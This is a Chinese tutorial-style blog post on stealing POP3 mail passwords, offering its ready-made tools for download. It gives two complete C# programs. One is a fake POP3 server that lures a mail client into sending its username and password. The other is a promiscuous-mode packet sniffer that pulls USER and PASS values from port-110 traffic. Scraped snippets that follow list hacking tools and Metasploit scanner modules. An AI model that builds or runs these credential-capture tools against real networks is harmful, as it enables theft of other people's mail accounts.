pop3密码嗅探

成品与代码可在 https://pan.baidu.com/s/1MPfU2T_6YN6mgxUL0wrZxw 下载

来说下pop协议,

英文版,https://tools.ietf.org/html/rfc1939

中文版,http://www.cnpaf.net/class/pop3/200408/122.html

pop 协议基于 tcp 协议,以明文ascii码的形式传输内容。且不区分大小写。

这里说下2种获取密码的方式:

  1. pop协议分析
  2. pop数据包分析

() pop协议分析

pop协议分析,就是伪造了一个邮件服务器,诱骗客户端传输密码,过程如下。

http://www.cnblogs.com/rr163/p/4209944.html 这位同学给了一个很好的demo.

里面写了个CAPA,开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单.

如果用FoxMail 客户端是没用这个的,如果用的outlook,会传输此命令。

代码 如下,就是复制别人的(^_^)。

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                IPEndPoint ipEndPoint= new IPEndPoint(IPAddress.Parse("127.0.0.1"), 110);
                TcpListener tcpServer = new TcpListener(ipEndPoint);
                tcpServer.Start();
                TcpClient tcpClient = tcpServer.AcceptTcpClient();
                NetworkStream ns = tcpClient.GetStream();
                byte[] outbytes = Encoding.ASCII.GetBytes("+OK Welcome" + Environment.NewLine); //服务器的欢迎
                ns.Write(outbytes, 0, outbytes.Length);
                byte[] userBytes = new byte[255];//密码存储
                ns.Read(userBytes, 0, userBytes.Length);
                string capa = Encoding.ASCII.GetString(userBytes);//
                if (capa.IndexOf("CAPA") >= 0)//开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单
                {
                    byte[] capaByteArr = Encoding.ASCII.GetBytes("0" + Environment.NewLine);
                    ns.Write(capaByteArr, 0, capaByteArr.Length);
                    ns.Read(userBytes, 0, userBytes.Length);
                }
                outbytes = Encoding.ASCII.GetBytes("+OK" + Environment.NewLine);
                ns.Write(outbytes, 0, outbytes.Length);
                byte[] pwdBytes = new byte[255];
                ns.Read(pwdBytes, 0, pwdBytes.Length);
                string user = Encoding.ASCII.GetString(userBytes).Replace("USER", "").Replace("\r\n", "").Replace("\0", "");
                string pass = Encoding.ASCII.GetString(pwdBytes).Replace("PASS", "").Replace("\r\n", "").Replace("\0", "");
                tcpClient.Close();
                Console.WriteLine(string.Format("用户名:{0}\r\n密  码:{1}",user,pass));
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            Console.ReadKey();
        }
    }
}

然后设置下pop的服务器为127.0.0.1。 端口110,非加密传输。

收发下邮件,结果如下

()pop数据包分析(这里讲的多)

Pop3是基于TCP协议的,那来说说它的结构。以太网包头+IP包头+TCP/UDP+内容 4部分构成。

四种以太网数据包详解

Ethernet II协议,(pop3用的这个)

Ethernet 802.2协议,

Ethernet 802.3协议(IPX/SPX协议)

Ethernet SNAP协议,

说下POP3的数据包。

Ethernet II协议部分, 由6字节目标mac地址,6字节源mac地址,2字节协议类型构成,共14个字节

IP协议部分,由20个固定字节与40个可变字节构成,内容太多,大家去百度就好。IP地址就在这里,POP3里没有扩展内容,所以就是固定20字节。

TCP协议部分,依然是20个固定字节作为首部,TCP报文首部的最大长度是 80字节。选项部分为MSS( Maximum Segment Size 最大报文段长度,以太网默认为1460)。MSS=TCP报文段长度-TCP首部长度,所以1460不是确定值

这里有源端口号与目的端口号(占2字节)分别是目的端口号(占2字节),就在头文件里。

内容部分,就是ascii码。

来说思路:

1.  只查看端口为110的包.(为因默认在第38个字节)

2.  如有”USER”的包记录下用户名,如果有”PASS”的包,记录为密码。

这里用的是C#语言,SharpPcap,可以在https://sourceforge.net/projects/sharppcap/下载。

需要安装wincap(百度下就能下载到)。

引用PacketDotNet.dll,SharpPcap.dll。 结果如下。

代码如下:

using System;
using System.Text;
using SharpPcap;
using SharpPcap.LibPcap;

namespace ConsoleApplication2
{
    class Program
    {
        static string userName = string.Empty;
        static CaptureDeviceList devices = CaptureDeviceList.Instance;
        static ICaptureDevice device;
        static void Main(string[] args)
        {
            try
            {
                getAdapter();
                Console.WriteLine("");
                Console.Write("请选择网卡编号:");
                string macIndexStr = Console.ReadLine();

                int macIndex = int.Parse(macIndexStr);
                Console.WriteLine("编号为:"+macIndex+",开始监听...");
                devices = CaptureDeviceList.Instance;
                device = devices[macIndex];
                device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(device_OnPacketArrival);
                int readTimeoutMilliseconds = 1000;
                device.Open(DeviceMode.Promiscuous, readTimeoutMilliseconds);
                device.StartCapture();

            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            Console.ReadKey();
        }
        private static void getAdapter()//获取网卡
        {
            int macIndex = 0;
            var devices = LibPcapLiveDeviceList.Instance;
            //var devices = WinPcapDeviceList.Instance;
            //var devices = CaptureDeviceList.Instance;
            if (devices.Count < 1)
                Console.WriteLine("此设备上没有网卡");
            else
                foreach (var dev in devices)
                {
                    Console.WriteLine(macIndex + "." + dev.Interface.FriendlyName);
                    macIndex++;
                }
        }
        private static string HexArrToAscii(byte[] s)
        {
            StringBuilder sb = new StringBuilder();
            foreach (byte b in s)
            {
                char c = (char)b;
                if (!char.IsControl(c))
                {
                    sb.Append(c);
                }
                else
                {
                    sb.Append(‘.‘);
                }
            }
            return sb.ToString();
        }
        private static void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            var pData = e.Packet.Data;
            if (pData.Length >= 37)
            {
                if (pData[37] != 110)   //如果不是110 端口,则不记录
                {
                    return;
                }
            }
            string hexStr = HexArrToAscii(pData);
            char[] packetArr = hexStr.ToCharArray();
            if (packetArr.Length >= 54)
            {
                for (int i = 0; i < packetArr.Length - 2; i++)
                {
                    if (packetArr[i] == ‘U‘ && packetArr[i + 1] == ‘S‘ && packetArr[i + 2] == ‘E‘ && packetArr[i + 3] == ‘R‘)
                    {
                        int passLength = packetArr.Length - i - 3 - 2; //i + 3长度是数据包头,2长度是控制符
                        char[] userArr = new char[passLength];

                        for (int j = 0; j < passLength - 2; j++)
                        {
                            userArr[j] = packetArr[i + 3 + j + 2];
                        }
                        string resultPass = new string(userArr);
                        userName = resultPass;
                    }
                }
            }
            if (!string.IsNullOrEmpty(userName) && packetArr.Length >= 57)
            {
                for (int i = 0; i < packetArr.Length - 2; i++)
                {
                    if (packetArr[i] == ‘P‘ && packetArr[i + 1] == ‘A‘ && packetArr[i + 2] == ‘S‘ && packetArr[i + 3] == ‘S‘)
                    {
                        int passLength = packetArr.Length - i - 3 - 2;//i + 3长度是数据包头,2长度是控制符
                        char[] passArr = new char[passLength];

                        for (int j = 0; j < passLength - 2; j++)
                        {
                            passArr[j] = packetArr[i + 3 + j + 2];
                        }
                        string resultPass = new string(passArr);
                        Console.WriteLine();
                        Console.WriteLine(string.Format("用户名:{0}\r\n密  码:{1}", userName, resultPass));
                        return;
                    }
                }
            }
        }
    }
}

原文地址:https://www.cnblogs.com/likehc/p/10140174.html

时间: 2024-08-30 06:10:11

pop3密码嗅探的相关文章

变更密码和移除恶意软件并不足以化解APT攻击

说到APT攻击--高级持续性威胁 (Advanced Persistent Threat,APT) /目标攻击,攻击者并非无所不知.他们需要在早期阶段收集数据来了解目标,他们会从各种情报来源收集资料,还可能会收集电子邮件地址.IP地址范围和联系人列表等数据,然后将其用来制造钓鱼邮件的诱饵,最终可以让他们渗透进入目标组织的网络. 一旦进入,攻击者会开始横向移动阶段.在此阶段,攻击者会进行端口扫描.服务扫描.网络拓扑映像.密码嗅探.键盘记录和安全政策渗透测试.目标是找到更加机密的数据以及更加隐密的存

kali 局域网嗅探

1.局域网图片嗅探 工具  arpspoof arpspoof -i eth0 -t 192.1681.10(网卡 目标地址) 192.168.1.1 局域网网关,如果在Windows中可以使用局域网扫描工具  Advanced ip Scanner linux中 扫描局域网在线的主机 fping -asg 192.168.1.0/24                      欺骗的同时不能是对方断网,使用流量转发  echo 1 >/proc/sys/net/ipv4/ip_forward

黑客工具软件大全100套

黑客工具软件大全100套  ゴリラ大統領 2011-05-21 16:55:58 #1 Nessus:最好的UNIX漏洞扫描工具 Nessus 是最好的免费网络漏洞扫描器,它可以运行于几乎所有的UNIX平台之上.它不止永久升级,还免费提供多达11000种插件(但需要注册并接受EULA-acceptance--终端用户授权协议).它的主要功能是远程或本地(已授权的)安全检查,客户端/服务器架构,GTK(Linux下的一种图形界面)图形界面,内置脚本语言编译器,可以用其编写自定义插件,或用来阅读别人

端口渗透

端口渗透总结 0x00 背景 端口渗透过程中我们需要关注几个问题: 1.  端口的banner信息 2.  端口上运行的服务 3.  常见应用的默认端口 当然对于上面这些信息的获取,我们有各式各样的方法,最为常见的应该就是nmap了吧!我们也可以结合其他的端口扫描工具,比如专门的3389.1433等等的端口扫描工具: 服务默认端口 公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务: 注册端口(Registered Ports):1024-49151,他们松散的绑

【转载】扫描渗透等工具介绍

#1 Nessus:最好的UNIX漏洞扫描工具 Nessus 是最好的免费网络漏洞扫描器,它可以运行于几乎所有的UNIX平台之上.它不止永久升级,还免费提供多达11000种插件(但需要注册并接受EULA-acceptance--终端用户授权协议).它的主要功能是远程或本地(已授权的)安全检查,客户端/服务器架构,GTK(Linux下的一种图形界面)图形界面,内置脚本语言编译器,可以用其编写自定义插件,或用来阅读别人写的插件.Nessus 3 已经开发完成(now closed source),其

端口的渗透测试总结

端口渗透总结 0x00 背景 在前段时间的渗透中,我发现通过端口来进行渗透有时会提升我们的效率,所以才有了这篇文章的诞生: 首先分享一份关于端口及他们对应的服务文件:https://yunpan.cn/cYyNXEpZNYvxQ  访问密码 983e 这里再分享一篇我曾经在百度文库提交的端口渗透文章:请点我 再次看这篇文章发现写的很简单,也只描述了几个常见的端口渗透:而且一般我们都是可以修 改默认端口的,所以平时在渗透过程中,对端口信息的收集就是一个很重要的过程:然后对症下药就可以更快的渗透进入

扫描渗透等工具介绍

#1 Nessus:最好的UNIX漏洞扫描工具 Nessus 是最好的免费网络漏洞扫描器,它可以运行于几乎所有的UNIX平台之上.它不止永久升级,还免费提供多达11000种插件(但需要注册并接受EULA-acceptance--终端用户授权协议).它的主要功能是远程或本地(已授权的)安全检查,客户端/服务器架构,GTK(Linux下的一种图形界面)图形界面,内置脚本语言编译器,可以用其编写自定义插件,或用来阅读别人写的插件.Nessus 3 已经开发完成(now closed source),其

C#编程让Outlook乖乖交出帐户密码

许多人习惯于让Outlook记住密码,收邮件时便不必每次都输入邮箱密码,一切让Outlook代劳.但时间一长,马虎的人会把自己的邮箱密码忘记,这样就无法重新设置或者登录Web界面收取邮件了.Outlook绝对不会告诉你邮箱的密码是多少,即使你找到了注册表中Outlook存储帐户和密码信息的键值,由于密码信息都是加密存储的,你还是无法提取密码.我们的对策就是针对邮箱服务中安全机制最薄弱的环节采取行动…… 众所周知,POP3协议本质上是一种明文协议,也就是说,虽然Outlook本地存储的密码是加密的

metasploit常用服务扫描和利用模块

metasploit常用服务扫描和利用模块 SMB扫描 smb枚举auxiliary/scanner/smb/smb_enumusers 扫描命名管道auxiliary/scanner/smb/pipe_auditor 通过SMB管道可以访问的RCREPC服务auxiliary/scanner/smb/pipe_dcerpc_auditor 扫描SMB2协议auxiliary/scanner/smb/smb2 扫描smb共享文件auxiliary/scanner/smb/smb_enumshar